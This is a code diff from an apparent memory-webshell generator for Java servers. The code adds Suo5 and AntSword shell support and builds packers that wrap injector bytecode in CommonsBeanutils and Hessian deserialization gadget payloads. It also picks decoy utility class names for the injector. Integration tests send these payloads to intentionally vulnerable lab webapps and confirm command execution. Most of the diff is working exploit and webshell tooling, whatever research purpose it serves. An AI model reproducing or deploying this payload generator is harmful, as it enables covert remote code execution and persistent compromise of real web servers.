import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/2/12
*/
public class Suo5Generator {
private final ShellConfig shellConfig;
private final Suo5Config suo5Config;
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
this.shellConfig = shellConfig;
this.suo5Config = suo5Config;
}
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(suo5Config.getShellClass())
.name(suo5Config.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"headerName", suo5Config.getHeaderName(),
"headerValue", suo5Config.getHeaderValue()
))
);
} else {
builder = builder
.field(named("headerName")).value(suo5Config.getHeaderName())
.field(named("headerValue")).value(suo5Config.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -5,7 +5,11 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
@@ -87,9 +91,23 @@ public enum Packers {
JinJava(new JinJavaPacker()),
/**
* 反序列化打包器
* Java 反序列化打包器
*/
Deserialize(new DeserializePacker()),
JavaDeserialize(new JavaDeserializePacker()),
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2Packer implements AggregatePacker {
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2XSLTScriptEnginePacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
byte[] injectorBytes = generateResult.getInjectorBytes();
String injectorClassName = generateResult.getInjectorClassName();
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianPacker implements AggregatePacker {
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianXSLTScriptEnginePacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
byte[] injectorBytes = generateResult.getInjectorBytes();
String injectorClassName = generateResult.getInjectorClassName();
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils110Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils16Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsBeanutils18Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.packer.deserialize;
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
@@ -10,15 +10,15 @@ import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/10
* @since 2025/2/17
*/
public class DeserializePacker implements Packer {
public class CommonsBeanutils19Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JavaDeserializePacker implements AggregatePacker {
}
@@ -6,7 +6,10 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Random;
import java.util.Set;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
@@ -16,6 +19,13 @@ import java.util.zip.GZIPOutputStream;
public class CommonUtil {
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
public static final Set<String> JAVA_KEYWORDS = new HashSet<>(Arrays.asList(new String[]{
"abstract", "assert", "boolean", "break", "byte", "case", "catch", "char", "class", "const",
"continue", "default", "do", "double", "else", "enum", "extends", "final", "finally", "float",
"for", "goto", "if", "implements", "import", "instanceof", "int", "interface", "long", "native",
"new", "package", "private", "protected", "public", "return", "short", "static", "strictfp", "super",
"switch", "synchronized", "this", "throw", "throws", "transient", "try", "void", "volatile", "while"
}));
private static final String[] PACKAGE_NAMES = {
"org.springframework",
"org.apache.commons",
@@ -59,6 +69,14 @@ public class CommonUtil {
}
public static String getRandomString(int length) {
String randomString = getRandomStringInternal(length);
while (JAVA_KEYWORDS.contains(randomString)) {
randomString = getRandomStringInternal(length);
}
return randomString;
}
private static String getRandomStringInternal(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuilder sb = new StringBuilder();
+1 -2
View File
@@ -1,7 +1,6 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
# upgrade command: ./gradlew wrapper --gradle-version latest
distributionUrl=https\://services.gradle.org/distributions/gradle-8.12-all.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
+3
View File
@@ -10,6 +10,8 @@ dependencies {
testImplementation project(":common")
testImplementation project(":tools:behinder")
testImplementation project(":tools:godzilla")
testImplementation project(":tools:suo5")
testImplementation project(":tools:ant-sword")
testImplementation project(':generator')
testImplementation 'net.bytebuddy:byte-buddy'
@@ -57,6 +59,7 @@ idea {
test {
dependsOn(":vul:vul-webapp:war",
":vul:vul-webapp-expression:war",
":vul:vul-webapp-deserialize:war",
":vul:vul-webapp-jakarta:war",
":vul:vul-springboot2:bootJar",
":vul:vul-springboot2:bootWar",
@@ -3,7 +3,8 @@ services:
image: reajason/jetty:6.1-jdk6
ports:
- "8080:8080"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
- "5005:5005"
# environment:
# JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
@@ -1,10 +1,12 @@
services:
jetty948:
image: jetty:9.4-jre8-slim
image: jetty:9.4-jre8
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- /Users/reajason/workspace/arthas:/opt/arthas
- /Users/reajason/IdeaProjects/MemShellParty/asserts/agent/jattach-linux:/opt/jattach
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/var/lib/jetty/webapps/app.war
@@ -9,4 +9,5 @@ services:
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- /Users/reajason/workspace/arthas:/usr/local/arthas
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war
@@ -3,8 +3,7 @@ services:
image: reajason/resin:4.0.58
container_name: resin4058
ports:
- "8080:8080"
- "5005:5005"
- "8081:8080"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
@@ -7,4 +7,6 @@ services:
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- /Users/reajason/IdeaProjects/MemShellParty/target.jar:/usr/local/arthas/target.jar
- /Users/reajason/workspace/arthas:/usr/local/arthas
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
@@ -7,4 +7,5 @@ services:
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- /Users/reajason/workspace/arthas:/usr/local/arthas
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
@@ -2,9 +2,10 @@ services:
tomcat88:
image: tomcat:8-jre8
ports:
- "8080:8080"
- "8081:8080"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- /Users/reajason/workspace/arthas:/usr/local/arthas
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
@@ -4,7 +4,6 @@ services:
container_name: weblogic12214
ports:
- "7001:7001"
- "5005:5005"
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
@@ -1,21 +0,0 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.behinder.BehinderManager;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/30
*/
public class BehinderShellTool {
public static void testIsOk(String entrypoint, BehinderConfig shellConfig) {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass())
.header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build();
assertTrue(behinderManager.test());
}
}
@@ -1,38 +0,0 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.memshell.config.CommandConfig;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/30
*/
@Slf4j
public class CommandShellTool {
@SneakyThrows
public static void testIsOk(String entrypoint, CommandConfig shellConfig) {
OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
.newBuilder()
.addQueryParameter(shellConfig.getParamName(), "id")
.build();
Request request = new Request.Builder()
.url(url)
.get().build();
try (Response response = okHttpClient.newCall(request).execute()) {
String res = response.body().string();
System.out.println(res.trim());
assertTrue(res.contains("uid="));
}
}
}
@@ -15,6 +15,7 @@ import java.nio.file.Paths;
public class ContainerTool {
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath());
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
@@ -33,9 +34,8 @@ public class ContainerTool {
public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh"));
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
String url = "http://127.0.0.1:" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@@ -1,27 +0,0 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.godzilla.GodzillaManager;
import java.io.IOException;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/30
*/
public class GodzillaShellTool {
public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass())
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
}
@@ -1,25 +1,36 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.antsword.AntSwordManager;
import com.reajason.javaweb.behinder.BehinderManager;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.SpringWebFluxShell;
import com.reajason.javaweb.memshell.SpringWebMvcShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import com.reajason.javaweb.suo5.Suo5Manager;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
import org.testcontainers.utility.MountableFile;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Objects;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -67,20 +78,79 @@ public class ShellAssertionTool {
} else {
content = packer.getInstance().pack(generateResult);
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
log.info("send inject payload successfully");
}
switch (shellTool) {
case Godzilla:
GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
break;
case Command:
CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
break;
case Behinder:
BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
testBehinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
break;
case Suo5:
testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
break;
case AntSword:
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
break;
}
}
public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass())
.key(shellConfig.getKey()).header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
@SneakyThrows
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) {
OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
.newBuilder()
.addQueryParameter(shellConfig.getParamName(), "id")
.build();
Request request = new Request.Builder()
.url(url)
.get().build();
try (Response response = okHttpClient.newCall(request).execute()) {
String res = response.body().string();
System.out.println(res.trim());
assertTrue(res.contains("uid="));
}
}
public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass())
.header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build();
assertTrue(behinderManager.test());
}
public static void testSuo5IsOk(String entrypoint, Suo5Config shellConfig) {
assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
}
public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
AntSwordManager antSwordManager = AntSwordManager.builder()
.entrypoint(entrypoint)
.pass(shellConfig.getPass())
.header(shellConfig.getHeaderName()
, shellConfig.getHeaderValue()).build();
assertTrue(antSwordManager.getInfo().contains("ok"));
}
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
@@ -122,6 +192,22 @@ public class ShellAssertionTool {
.build();
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName);
break;
case Suo5:
shellToolConfig = Suo5Config.builder()
.headerName("User-Agent")
.headerValue(uniqueName)
.build();
log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName);
break;
case AntSword:
String antPassword = "ant";
shellToolConfig = AntSwordConfig.builder()
.pass(antPassword)
.headerName("User-Agent")
.headerValue(uniqueName)
.build();
log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName);
break;
}
return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
}
@@ -156,7 +242,14 @@ public class ShellAssertionTool {
case JinJava -> VulTool.postData(url + "/jinjava", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content);
case JavaCommonsBeanutils16 -> VulTool.postData(url + "/java_deserialize/cb161", content);
case JavaCommonsBeanutils17 -> VulTool.postData(url + "/java_deserialize/cb170", content);
case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -50,26 +50,40 @@ public class GlassFish3ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
@@ -51,26 +51,40 @@ public class GlassFish4ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
